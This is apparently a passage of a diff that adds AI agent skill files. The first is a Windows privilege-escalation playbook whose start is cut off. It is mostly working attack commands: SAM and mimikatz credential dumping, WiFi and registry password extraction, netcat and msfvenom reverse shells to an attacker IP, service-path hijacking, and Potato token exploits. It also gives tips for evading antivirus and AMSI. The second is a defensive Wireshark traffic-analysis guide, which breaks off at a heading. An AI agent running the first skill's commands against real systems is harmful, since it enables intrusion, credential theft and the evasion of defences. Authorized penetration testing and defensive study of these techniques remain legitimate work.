||||
# ARP table
|
||||
arp -A
|
||||
|
||||
# Active connections
|
||||
netstat -ano
|
||||
|
||||
# Network shares
|
||||
net share
|
||||
|
||||
# Domain Controllers
|
||||
nltest /DCLIST:DomainName
|
||||
```
|
||||
|
||||
#### Antivirus Enumeration
|
||||
```powershell
|
||||
# Check AV products
|
||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
|
||||
```
|
||||
|
||||
### 2. Credential Harvesting
|
||||
|
||||
#### SAM and SYSTEM Files
|
||||
```powershell
|
||||
# SAM file locations
|
||||
%SYSTEMROOT%\repair\SAM
|
||||
%SYSTEMROOT%\System32\config\RegBack\SAM
|
||||
%SYSTEMROOT%\System32\config\SAM
|
||||
|
||||
# SYSTEM file locations
|
||||
%SYSTEMROOT%\repair\system
|
||||
%SYSTEMROOT%\System32\config\SYSTEM
|
||||
%SYSTEMROOT%\System32\config\RegBack\system
|
||||
|
||||
# Extract hashes (from Linux after obtaining files)
|
||||
pwdump SYSTEM SAM > sam.txt
|
||||
samdump2 SYSTEM SAM -o sam.txt
|
||||
|
||||
# Crack with John
|
||||
john --format=NT sam.txt
|
||||
```
|
||||
|
||||
#### HiveNightmare (CVE-2021-36934)
|
||||
```powershell
|
||||
# Check vulnerability
|
||||
icacls C:\Windows\System32\config\SAM
|
||||
# Vulnerable if: BUILTIN\Users:(I)(RX)
|
||||
|
||||
# Exploit with mimikatz
|
||||
mimikatz> token::whoami /full
|
||||
mimikatz> misc::shadowcopies
|
||||
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
|
||||
```
|
||||
|
||||
#### Search for Passwords
|
||||
```powershell
|
||||
# Search file contents
|
||||
findstr /SI /M "password" *.xml *.ini *.txt
|
||||
findstr /si password *.xml *.ini *.txt *.config
|
||||
|
||||
# Search registry
|
||||
reg query HKLM /f password /t REG_SZ /s
|
||||
reg query HKCU /f password /t REG_SZ /s
|
||||
|
||||
# Windows Autologin credentials
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
|
||||
|
||||
# PuTTY sessions
|
||||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
|
||||
|
||||
# VNC passwords
|
||||
reg query "HKCU\Software\ORL\WinVNC3\Password"
|
||||
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
|
||||
|
||||
# Search for specific files
|
||||
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
|
||||
where /R C:\ *.ini
|
||||
```
|
||||
|
||||
#### Unattend.xml Credentials
|
||||
```powershell
|
||||
# Common locations
|
||||
C:\unattend.xml
|
||||
C:\Windows\Panther\Unattend.xml
|
||||
C:\Windows\Panther\Unattend\Unattend.xml
|
||||
C:\Windows\system32\sysprep.inf
|
||||
C:\Windows\system32\sysprep\sysprep.xml
|
||||
|
||||
# Search for files
|
||||
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul
|
||||
|
||||
# Decode base64 password (Linux)
|
||||
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
|
||||
```
|
||||
|
||||
#### WiFi Passwords
|
||||
```powershell
|
||||
# List profiles
|
||||
netsh wlan show profile
|
||||
|
||||
# Get cleartext password
|
||||
netsh wlan show profile <SSID> key=clear
|
||||
|
||||
# Extract all WiFi passwords
|
||||
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on
|
||||
```
|
||||
|
||||
#### PowerShell History
|
||||
```powershell
|
||||
# View PowerShell history
|
||||
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
|
||||
cat (Get-PSReadlineOption).HistorySavePath
|
||||
cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
|
||||
### 3. Service Exploitation
|
||||
|
||||
#### Incorrect Service Permissions
|
||||
```powershell
|
||||
# Find misconfigured services
|
||||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||||
accesschk.exe -uwcqv "Everyone" * /accepteula
|
||||
accesschk.exe -ucqv <service_name>
|
||||
|
||||
# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG
|
||||
|
||||
# Exploit vulnerable service
|
||||
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
|
||||
sc stop <service>
|
||||
sc start <service>
|
||||
```
|
||||
|
||||
#### Unquoted Service Paths
|
||||
```powershell
|
||||
# Find unquoted paths
|
||||
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
|
||||
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
|
||||
|
||||
# Exploit: Place malicious exe in path
|
||||
# For path: C:\Program Files\Some App\service.exe
|
||||
# Try: C:\Program.exe or C:\Program Files\Some.exe
|
||||
```
|
||||
|
||||
#### AlwaysInstallElevated
|
||||
```powershell
|
||||
# Check if enabled
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
|
||||
# Both must return 0x1 for vulnerability
|
||||
|
||||
# Create malicious MSI
|
||||
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi
|
||||
|
||||
# Install (runs as SYSTEM)
|
||||
msiexec /quiet /qn /i C:\evil.msi
|
||||
```
|
||||
|
||||
### 4. Token Impersonation
|
||||
|
||||
#### Check Impersonation Privileges
|
||||
```powershell
|
||||
# Look for these privileges
|
||||
whoami /priv
|
||||
|
||||
# Exploitable privileges:
|
||||
# SeImpersonatePrivilege
|
||||
# SeAssignPrimaryTokenPrivilege
|
||||
# SeTcbPrivilege
|
||||
# SeBackupPrivilege
|
||||
# SeRestorePrivilege
|
||||
# SeCreateTokenPrivilege
|
||||
# SeLoadDriverPrivilege
|
||||
# SeTakeOwnershipPrivilege
|
||||
# SeDebugPrivilege
|
||||
```
|
||||
|
||||
#### Potato Attacks
|
||||
```powershell
|
||||
# JuicyPotato (Windows Server 2019 and below)
|
||||
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *
|
||||
|
||||
# PrintSpoofer (Windows 10 and Server 2019)
|
||||
PrintSpoofer.exe -i -c cmd
|
||||
|
||||
# RoguePotato
|
||||
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999
|
||||
|
||||
# GodPotato
|
||||
GodPotato.exe -cmd "cmd /c whoami"
|
||||
```
|
||||
|
||||
### 5. Kernel Exploitation
|
||||
|
||||
#### Find Kernel Vulnerabilities
|
||||
```powershell
|
||||
# Use Windows Exploit Suggester
|
||||
systeminfo > systeminfo.txt
|
||||
python wes.py systeminfo.txt
|
||||
|
||||
# Or use Watson (on target)
|
||||
Watson.exe
|
||||
|
||||
# Or use Sherlock PowerShell script
|
||||
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
|
||||
```
|
||||
|
||||
#### Common Kernel Exploits
|
||||
```
|
||||
MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
|
||||
MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
|
||||
MS15-051 - Client Copy Image - 2003/2008/7
|
||||
MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
|
||||
MS11-080 - afd.sys - XP/2003
|
||||
MS10-015 - KiTrap0D - 2003/XP/2000
|
||||
MS08-067 - NetAPI - 2000/XP/2003
|
||||
CVE-2021-1732 - Win32k - Windows 10/Server 2019
|
||||
CVE-2020-0796 - SMBGhost - Windows 10
|
||||
CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019
|
||||
```
|
||||
|
||||
### 6. Additional Techniques
|
||||
|
||||
#### DLL Hijacking
|
||||
```powershell
|
||||
# Find missing DLLs with Process Monitor
|
||||
# Filter: Result = NAME NOT FOUND, Path ends with .dll
|
||||
|
||||
# Compile malicious DLL
|
||||
# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
|
||||
# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
|
||||
```
|
||||
|
||||
#### Runas with Saved Credentials
|
||||
```powershell
|
||||
# List saved credentials
|
||||
cmdkey /list
|
||||
|
||||
# Use saved credentials
|
||||
runas /savecred /user:Administrator "cmd.exe /k whoami"
|
||||
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
|
||||
```
|
||||
|
||||
#### WSL Exploitation
|
||||
```powershell
|
||||
# Check for WSL
|
||||
wsl whoami
|
||||
|
||||
# Set root as default user
|
||||
wsl --default-user root
|
||||
# Or: ubuntu.exe config --default-user root
|
||||
|
||||
# Spawn shell as root
|
||||
wsl whoami
|
||||
wsl python -c 'import os; os.system("/bin/bash")'
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Enumeration Tools
|
||||
|
||||
| Tool | Command | Purpose |
|
||||
|------|---------|---------|
|
||||
| WinPEAS | `winPEAS.exe` | Comprehensive enumeration |
|
||||
| PowerUp | `Invoke-AllChecks` | Service/path vulnerabilities |
|
||||
| Seatbelt | `Seatbelt.exe -group=all` | Security audit checks |
|
||||
| Watson | `Watson.exe` | Missing patches |
|
||||
| JAWS | `.\jaws-enum.ps1` | Legacy Windows enum |
|
||||
| PrivescCheck | `Invoke-PrivescCheck` | Privilege escalation checks |
|
||||
|
||||
### Default Writable Folders
|
||||
|
||||
```
|
||||
C:\Windows\Temp
|
||||
C:\Windows\Tasks
|
||||
C:\Users\Public
|
||||
C:\Windows\tracing
|
||||
C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
||||
```
|
||||
|
||||
### Common Privilege Escalation Vectors
|
||||
|
||||
| Vector | Check Command |
|
||||
|--------|---------------|
|
||||
| Unquoted paths | `wmic service get pathname \| findstr /i /v """` |
|
||||
| Weak service perms | `accesschk.exe -uwcqv "Everyone" *` |
|
||||
| AlwaysInstallElevated | `reg query HKCU\...\Installer /v AlwaysInstallElevated` |
|
||||
| Stored credentials | `cmdkey /list` |
|
||||
| Token privileges | `whoami /priv` |
|
||||
| Scheduled tasks | `schtasks /query /fo LIST /v` |
|
||||
|
||||
### Impersonation Privilege Exploits
|
||||
|
||||
| Privilege | Tool | Usage |
|
||||
|-----------|------|-------|
|
||||
| SeImpersonatePrivilege | JuicyPotato | CLSID abuse |
|
||||
| SeImpersonatePrivilege | PrintSpoofer | Spooler service |
|
||||
| SeImpersonatePrivilege | RoguePotato | OXID resolver |
|
||||
| SeBackupPrivilege | robocopy /b | Read protected files |
|
||||
| SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files |
|
||||
| SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Operational Boundaries
|
||||
- Kernel exploits may cause system instability
|
||||
- Some exploits require specific Windows versions
|
||||
- AV/EDR may detect and block common tools
|
||||
- Token impersonation requires service account context
|
||||
- Some techniques require GUI access
|
||||
|
||||
### Detection Considerations
|
||||
- Credential dumping triggers security alerts
|
||||
- Service modification logged in Event Logs
|
||||
- PowerShell execution may be monitored
|
||||
- Known exploit signatures detected by AV
|
||||
|
||||
### Legal Requirements
|
||||
- Only test systems with written authorization
|
||||
- Document all escalation attempts
|
||||
- Avoid disrupting production systems
|
||||
- Report all findings through proper channels
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Service Binary Path Exploitation
|
||||
```powershell
|
||||
# Find vulnerable service
|
||||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||||
# Result: RW MyService SERVICE_ALL_ACCESS
|
||||
|
||||
# Check current config
|
||||
sc qc MyService
|
||||
|
||||
# Stop service and change binary path
|
||||
sc stop MyService
|
||||
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
||||
sc start MyService
|
||||
|
||||
# Catch shell as SYSTEM
|
||||
```
|
||||
|
||||
### Example 2: AlwaysInstallElevated Exploitation
|
||||
```powershell
|
||||
# Verify vulnerability
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
# Both return: 0x1
|
||||
|
||||
# Generate payload (attacker machine)
|
||||
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
|
||||
|
||||
# Transfer and execute
|
||||
msiexec /quiet /qn /i C:\Users\Public\shell.msi
|
||||
|
||||
# Catch SYSTEM shell
|
||||
```
|
||||
|
||||
### Example 3: JuicyPotato Token Impersonation
|
||||
```powershell
|
||||
# Verify SeImpersonatePrivilege
|
||||
whoami /priv
|
||||
# SeImpersonatePrivilege Enabled
|
||||
|
||||
# Run JuicyPotato
|
||||
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
|
||||
|
||||
# Catch SYSTEM shell
|
||||
```
|
||||
|
||||
### Example 4: Unquoted Service Path
|
||||
```powershell
|
||||
# Find unquoted path
|
||||
wmic service get name,pathname | findstr /i /v """
|
||||
# Result: C:\Program Files\Vuln App\service.exe
|
||||
|
||||
# Check write permissions
|
||||
icacls "C:\Program Files\Vuln App"
|
||||
# Result: Users:(W)
|
||||
|
||||
# Place malicious binary
|
||||
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"
|
||||
|
||||
# Restart service
|
||||
sc stop "Vuln App"
|
||||
sc start "Vuln App"
|
||||
```
|
||||
|
||||
### Example 5: Credential Harvesting from Registry
|
||||
```powershell
|
||||
# Check for auto-logon credentials
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
|
||||
# DefaultUserName: Administrator
|
||||
# DefaultPassword: P@ssw0rd123
|
||||
|
||||
# Use credentials
|
||||
runas /user:Administrator cmd.exe
|
||||
# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Cause | Solution |
|
||||
|-------|-------|----------|
|
||||
| Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |
|
||||
| Service won't start | Binary path syntax | Ensure space after `=` in binpath: `binpath= "C:\path\binary.exe"` |
|
||||
| Token impersonation fails | Wrong privilege/version | Check `whoami /priv`; verify Windows version compatibility |
|
||||
| Can't find kernel exploit | System patched | Run Windows Exploit Suggester: `python wes.py systeminfo.txt` |
|
||||
| PowerShell blocked | Execution policy/AMSI | Use `powershell -ep bypass -c "cmd"` or `-enc <base64>` |
|
||||
494
skills/wireshark-analysis/SKILL.md
Normal file
494
skills/wireshark-analysis/SKILL.md
Normal file
@@ -0,0 +1,494 @@
|
||||
---
|
||||
name: Wireshark Network Traffic Analysis
|
||||
description: This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark.
|
||||
---
|
||||
|
||||
# Wireshark Network Traffic Analysis
|
||||
|
||||
## Purpose
|
||||
|
||||
Execute comprehensive network traffic analysis using Wireshark to capture, filter, and examine network packets for security investigations, performance optimization, and troubleshooting. This skill enables systematic analysis of network protocols, detection of anomalies, and reconstruction of network conversations from PCAP files.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
### Required Tools
|
||||
- Wireshark installed (Windows, macOS, or Linux)
|
||||
- Network interface with capture permissions
|
||||
- PCAP/PCAPNG files for offline analysis
|
||||
- Administrator/root privileges for live capture
|
||||
|
||||
### Technical Requirements
|
||||
- Understanding of network protocols (TCP, UDP, HTTP, DNS)
|
||||
- Familiarity with IP addressing and ports
|
||||
- Knowledge of OSI model layers
|
||||
- Understanding of common attack patterns
|
||||
|
||||
### Use Cases
|
||||
- Network troubleshooting and connectivity issues
|
||||
- Security incident investigation
|
||||
- Malware traffic analysis
|
||||
- Performance monitoring and optimization
|
||||
- Protocol learning and education
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
### Primary Outputs
|
||||
- Filtered packet captures for specific traffic
|
||||
- Reconstructed communication streams
|
||||
- Traffic statistics and visualizations
|
||||
- Evidence documentation for incidents
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Capturing Network Traffic
|
||||
|
||||
#### Start Live Capture
|
||||
Begin capturing packets on network interface:
|
||||
|
||||
```
|
||||
1. Launch Wireshark
|
||||
2. Select network interface from main screen
|
||||
3. Click shark fin icon or double-click interface
|
||||
4. Capture begins immediately
|
||||
```
|
||||
|
||||
#### Capture Controls
|
||||
| Action | Shortcut | Description |
|
||||
|--------|----------|-------------|
|
||||
| Start/Stop Capture | Ctrl+E | Toggle capture on/off |
|
||||
| Restart Capture | Ctrl+R | Stop and start new capture |
|
||||
| Open PCAP File | Ctrl+O | Load existing capture file |
|
||||
| Save Capture | Ctrl+S | Save current capture |
|
||||
|
||||
#### Capture Filters
|
||||
Apply filters before capture to limit data collection:
|
||||
|
||||
```
|
||||
# Capture only specific host
|
||||
host 192.168.1.100
|
||||
|
||||
# Capture specific port
|
||||
port 80
|
||||
|
||||
# Capture specific network
|
||||
net 192.168.1.0/24
|
||||
|
||||
# Exclude specific traffic
|
||||
not arp
|
||||
|
||||
# Combine filters
|
||||
host 192.168.1.100 and port 443
|
||||
```
|
||||
|
||||
### Phase 2: Display Filters
|
||||
|
||||
#### Basic Filter Syntax
|
||||
Filter captured packets for analysis:
|
||||
|
||||
```
|
||||
# IP address filters
|
||||
ip.addr == 192.168.1.1 # All traffic to/from IP
|
||||
ip.src == 192.168.1.1 # Source IP only
|
||||
ip.dst == 192.168.1.1 # Destination IP only
|
||||
|
||||
# Port filters
|
||||
tcp.port == 80 # TCP port 80
|
||||
udp.port == 53 # UDP port 53
|
||||
tcp.dstport == 443 # Destination port 443
|
||||
tcp.srcport == 22 # Source port 22
|
||||
```
|
||||
|
||||
#### Protocol Filters
|
||||
Filter by specific protocols:
|
||||
|
||||
```
|
||||
# Common protocols
|
||||
http # HTTP traffic
|
||||
https or ssl or tls # Encrypted web traffic
|
||||
dns # DNS queries and responses
|
||||
ftp # FTP traffic
|
||||
ssh # SSH traffic
|
||||
icmp # Ping/ICMP traffic
|
||||
arp # ARP requests/responses
|
||||
dhcp # DHCP traffic
|
||||
smb or smb2 # SMB file sharing
|
||||
```
|
||||
|
||||
#### TCP Flag Filters
|
||||
Identify specific connection states:
|
||||
|
||||
```
|
||||
tcp.flags.syn == 1 # SYN packets (connection attempts)
|
||||
tcp.flags.ack == 1 # ACK packets
|
||||
tcp.flags.fin == 1 # FIN packets (connection close)
|
||||
tcp.flags.reset == 1 # RST packets (connection reset)
|
||||
tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN-only (initial connection)
|
||||
```
|
||||
|
||||
#### Content Filters
|
||||
Search for specific content:
|
||||
|
||||
```
|
||||
frame contains "password" # Packets containing string
|
||||
http.request.uri contains "login" # HTTP URIs with string
|
||||
tcp contains "GET" # TCP packets with string
|
||||
```
|
||||
|
||||
#### Analysis Filters
|
||||
Identify potential issues:
|
||||
|
||||
```
|
||||
tcp.analysis.retransmission # TCP retransmissions
|
||||
tcp.analysis.duplicate_ack # Duplicate ACKs
|
||||
tcp.analysis.zero_window # Zero window (flow control)
|
||||
tcp.analysis.flags # Packets with issues
|
||||
dns.flags.rcode != 0 # DNS errors
|
||||
```
|
||||
|
||||
#### Combining Filters
|
||||
Use logical operators for complex queries:
|
||||
|
||||
```
|
||||
# AND operator
|
||||
ip.addr == 192.168.1.1 && tcp.port == 80
|
||||
|
||||
# OR operator
|
||||
dns || http
|
||||
|
||||
# NOT operator
|
||||
!(arp || icmp)
|
||||
|
||||
# Complex combinations
|
||||
(ip.src == 192.168.1.1 || ip.src == 192.168.1.2) && tcp.port == 443
|
||||
```
|
||||
|
||||
### Phase 3: Following Streams
|
||||
|
||||
#### TCP Stream Reconstruction
|
||||
View complete TCP conversation:
|
||||
|
||||
```
|
||||
1. Right-click on any TCP packet
|
||||
2. Select Follow > TCP Stream
|
||||
3. View reconstructed conversation
|
||||
4. Toggle between ASCII, Hex, Raw views
|
||||
5. Filter to show only this stream
|
||||
```
|
||||
|
||||
#### Stream Types
|
||||
| Stream | Access | Use Case |
|
||||
|--------|--------|----------|
|
||||
| TCP Stream | Follow > TCP Stream | Web, file transfers, any TCP |
|
||||
| UDP Stream | Follow > UDP Stream | DNS, VoIP, streaming |
|
||||
| HTTP Stream | Follow > HTTP Stream | Web content, headers |
|
||||
| TLS Stream | Follow > TLS Stream | Encrypted traffic (if keys available) |
|
||||
|
||||
#### Stream Analysis Tips
|
||||
- Review request/response pairs
|
||||
- Identify transmitted files or data
|
||||
- Look for credentials in plaintext
|
||||
- Note unusual patterns or commands
|
||||
|
||||
### Phase 4: Statistical Analysis
|
||||
|
||||
#### Protocol Hierarchy
|
||||
View protocol distribution:
|
||||
|
||||
```
|
||||
Statistics > Protocol Hierarchy
|
||||
|
||||
Shows:
|
||||
- Percentage of each protocol
|
||||
- Packet counts
|
||||
- Bytes transferred
|
||||
- Protocol breakdown tree
|
||||
```
|
||||
|
||||
#### Conversations
|
||||
Analyze communication pairs:
|
||||
|
||||
```
|
||||
Statistics > Conversations
|
||||
|
||||
Tabs:
|
||||
- Ethernet: MAC address pairs
|
||||
- IPv4/IPv6: IP address pairs
|
||||
- TCP: Connection details (ports, bytes, packets)
|
||||
- UDP: Datagram exchanges
|
||||
```
|
||||
|
||||
#### Endpoints
|
||||
View active network participants:
|
||||
|
||||
```
|
||||
Statistics > Endpoints
|
||||
|
||||
Shows:
|
||||
- All source/destination addresses
|
||||
- Packet and byte counts
|
||||
- Geographic information (if enabled)
|
||||
```
|
||||
|
||||
#### Flow Graph
|
||||
Visualize packet sequence:
|
||||
|
||||
```
|
||||
Statistics > Flow Graph
|
||||
|
||||
Options:
|
||||
- All packets or displayed only
|
||||
- Standard or TCP flow
|
||||
- Shows packet timing and direction
|
||||
```
|
||||
|
||||
#### I/O Graphs
|
||||
Plot traffic over time:
|
||||
|
||||
```
|
||||
Statistics > I/O Graph
|
||||
|
||||
Features:
|
||||
- Packets per second
|
||||
- Bytes per second
|
||||
- Custom filter graphs
|
||||
- Multiple graph overlays
|
||||
```
|
||||
|
||||
### Phase 5: Security Analysis
|
||||
|
||||
#### Detect Port Scanning
|
||||
Identify reconnaissance activity:
|
||||
|
||||
```
|
||||
# SYN scan detection (many ports, same source)
|
||||
ip.src == SUSPECT_IP && tcp.flags.syn == 1
|
||||
|
||||
# Review Statistics > Conversations for anomalies
|
||||
# Look for single source hitting many destination ports
|
||||
```
|
||||
|
||||
#### Identify Suspicious Traffic
|
||||
Filter for anomalies:
|
||||
|
||||
```
|
||||
# Traffic to unusual ports
|
||||
tcp.dstport > 1024 && tcp.dstport < 49152
|
||||
|
||||
# Traffic outside trusted network
|
||||
!(ip.addr == 192.168.1.0/24)
|
||||
|
||||
# Unusual DNS queries
|
||||
dns.qry.name contains "suspicious-domain"
|
||||
|
||||
# Large data transfers
|
||||
frame.len > 1400
|
||||
```
|
||||
|
||||
#### ARP Spoofing Detection
|
||||
Identify ARP attacks:
|
||||
|
||||
```
|
||||
# Duplicate ARP responses
|
||||
arp.duplicate-address-frame
|
||||
|
||||
# ARP traffic analysis
|
||||
arp
|
||||
|
||||
# Look for:
|
||||
# - Multiple MACs for same IP
|
||||
# - Gratuitous ARP floods
|
||||
# - Unusual ARP patterns
|
||||
```
|
||||
|
||||
#### Examine Downloads
|
||||
Analyze file transfers:
|
||||
|
||||
```
|
||||
# HTTP file downloads
|
||||
http.request.method == "GET" && http contains "Content-Disposition"
|
||||
|
||||
# Follow HTTP Stream to view file content
|
||||
# Use File > Export Objects > HTTP to extract files
|
||||
```
|
||||
|
||||
#### DNS Analysis
|
||||
Investigate DNS activity:
|
||||
|
||||
```
|
||||
# All DNS traffic
|
||||
dns
|
||||
|
||||
# DNS queries only
|
||||
dns.flags.response == 0
|
||||
|
||||
# DNS responses only
|
||||
dns.flags.response == 1
|
||||
|
||||
# Failed DNS lookups
|
||||
dns.flags.rcode != 0
|
||||
|
||||
# Specific domain queries
|
||||
dns.qry.name contains "domain.com"
|
||||
```
|
||||
|
||||
### Phase 6: Expert Information
|
||||
|
||||
#### Access Expert Analysis
|
||||
View Wireshark's automated findings:
|
||||
|
||||
```
|
||||
Analyze > Expert Information
|
||||
|
||||
Categories:
|
||||
- Errors: Critical issues
|
||||
- Warnings: Potential problems
|
||||
- Notes: Informational items
|
||||
- Chats: Normal conversation events
|
||||
```
|
||||
|
||||
#### Common Expert Findings
|
||||
| Finding | Meaning | Action |
|
||||
|---------|---------|--------|
|
||||
| TCP Retransmission | Packet resent | Check for packet loss |
|
||||
| Duplicate ACK | Possible loss | Investigate network path |
|
||||
| Zero Window | Buffer full | Check receiver performance |
|
||||
| RST | Connection reset | Check for blocks/errors |
|
||||
| Out-of-Order | Packets reordered | Usually normal, excessive is issue |
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Keyboard Shortcuts
|
||||
| Action | Shortcut |
|
||||
|--------|----------|
|
||||
| Open file | Ctrl+O |
|
||||
| Save file | Ctrl+S |
|
||||
| Start/Stop capture | Ctrl+E |
|
||||
| Find packet | Ctrl+F |
|
||||
| Go to packet | Ctrl+G |
|
||||
| Next packet | ↓ |
|
||||
| Previous packet | ↑ |
|
||||
| First packet | Ctrl+Home |
|
||||
| Last packet | Ctrl+End |
|
||||
| Apply filter | Enter |
|
||||
| Clear filter | Ctrl+Shift+X |
|
||||
|
||||
### Common Filter Reference
|
||||
```
|
||||
# Web traffic
|
||||
http || https
|
||||
|
||||
# Email
|
||||
smtp || pop || imap
|
||||
|
||||
# File sharing
|
||||
smb || smb2 || ftp
|
||||
|
||||
# Authentication
|
||||
ldap || kerberos
|
||||
|
||||
# Network management
|
||||
snmp || icmp
|
||||
|
||||
# Encrypted
|
||||
tls || ssl
|
||||
```
|
||||
|
||||
### Export Options
|
||||
```
|
||||
File > Export Specified Packets # Save filtered subset
|
||||
File > Export Objects > HTTP # Extract HTTP files
|
||||
File > Export Packet Dissections # Export as text/CSV
|
||||
```
|
||||
|
||||
## Constraints and Guardrails
|
||||
|
||||
### Operational Boundaries
|
||||
- Capture only authorized network traffic
|
||||
- Handle captured data according to privacy policies
|
||||
- Avoid capturing sensitive credentials unnecessarily
|
||||
- Properly secure PCAP files containing sensitive data
|
||||
|
||||
### Technical Limitations
|
||||
- Large captures consume significant memory
|
||||
- Encrypted traffic content not visible without keys
|
||||
- High-speed networks may drop packets
|
||||
- Some protocols require plugins for full decoding
|
||||
|
||||
### Best Practices
|
||||
- Use capture filters to limit data collection
|
||||
- Save captures regularly during long sessions
|
||||
- Use display filters rather than deleting packets
|
||||
- Document analysis findings and methodology
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: HTTP Credential Analysis
|
||||
|
||||
**Scenario**: Investigate potential plaintext credential transmission
|
||||
|
||||
```
|
||||
1. Filter: http.request.method == "POST"
|
||||
2. Look for login forms
|
||||
3. Follow HTTP Stream
|
||||
4. Search for username/password parameters
|
||||
```
|
||||
|
||||
**Finding**: Credentials transmitted in cleartext form data.
|
||||
|
||||
### Example 2: Malware C2 Detection
|
||||
|
||||
**Scenario**: Identify command and control traffic
|
||||
|
||||
```
|
||||
1. Filter: dns
|
||||
2. Look for unusual query patterns
|
||||
3. Check for high-frequency beaconing
|
||||
4. Identify domains with random-looking names
|
||||
5. Filter: ip.dst == SUSPICIOUS_IP
|
||||
6. Analyze traffic patterns
|
||||
```
|
||||
|
||||
**Indicators**:
|
||||
- Regular timing intervals
|
||||
- Encoded/encrypted payloads
|
||||
- Unusual ports or protocols
|
||||
|
||||
### Example 3: Network Troubleshooting
|
||||
|
||||
**Scenario**: Diagnose slow web application
|
||||
|
||||
```
|
||||
1. Filter: ip.addr == WEB_SERVER
|
||||
2. Check Statistics > Service Response Time
|
||||
3. Filter: tcp.analysis.retransmission
|
||||
4. Review I/O Graph for patterns
|
||||
5. Check for high latency or packet loss
|
||||
```
|
||||
|
||||
**Finding**: TCP retransmissions indicating network congestion.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### No Packets Captured
|
||||
- Verify correct interface selected
|
||||
- Check for admin/root permissions
|
||||
- Confirm network adapter is active
|
||||
- Disable promiscuous mode if issues persist
|
||||
|
||||
### Filter Not Working
|
||||
- Verify filter syntax (red = error)
|
||||
- Check for typos in field names
|
||||
- Use Expression button for valid fields
|
||||
- Clear filter and rebuild incrementally
|
||||
|
||||
### Performance Issues
|
||||
- Use capture filters to limit traffic
|
||||
- Split large captures into smaller files
|
||||
- Disable name resolution during capture
|
||||
- Close unnecessary protocol dissectors
|
||||
|
||||
### Cannot Decrypt TLS/SSL
|
||||
